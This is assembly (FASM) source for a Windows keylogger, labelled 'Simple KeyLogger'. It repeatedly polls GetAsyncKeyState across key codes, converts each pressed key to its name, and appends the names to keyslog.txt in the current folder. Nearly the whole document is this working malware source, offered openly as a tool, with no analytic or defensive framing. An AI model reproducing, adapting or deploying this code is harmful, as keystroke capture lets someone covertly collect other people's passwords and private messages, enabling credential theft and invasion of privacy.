;==============================================
;KeysLog.asm Simple KeyLogger
;Records file keyslog.txt in current folder
;Gives a name to the Keys like magic
;==============================================
format PE console
INCLUDE '..\include\win32ax.inc'
.code
Start:
mov esi,7
invoke Sleep,1
GoGo:
cmp esi,255
je Start
inc esi
invoke GetAsyncKeyState,esi
cmp eax,0
jnz LowGarb
jmp GoGo
LowGarb:
invoke MapVirtualKey,esi,0
shl eax,16
invoke GetKeyNameText,eax,KeyBuffer,0x100
invoke CreateFile, LogFileName, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL
cmp eax,0
je Exit
mov ebx, eax
invoke SetFilePointer,ebx,0,0,FILE_END
invoke lstrlen,KeyBuffer
invoke WriteFile,ebx,KeyBuffer,eax,BytesWritten,NULL
invoke Sleep,150
invoke CloseHandle,ebx
jmp GoGo
Exit:
mov ebx, dword [FileHandle]
invoke CloseHandle,ebx
invoke ExitProcess,0
.data
LogFileName db "keyslog.txt",0
BytesWritten dd 0
KeyBuffer rb 0x100
EndBuff:
FileHandle dq 0
section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
user,'USER32.DLL'
import kernel,\
Sleep,'Sleep',\
CreateFile,'CreateFileA',\
WriteFile,'WriteFile',\
SetFilePointer,'SetFilePointer',\
CloseHandle,'CloseHandle',\
lstrlen,'lstrlenA',\
ExitProcess,'ExitProcess'
import user,\
GetAsyncKeyState, 'GetAsyncKeyState',\
MapVirtualKey,'MapVirtualKeyA',\
GetKeyNameText,'GetKeyNameTextA'
section '' fixups discardable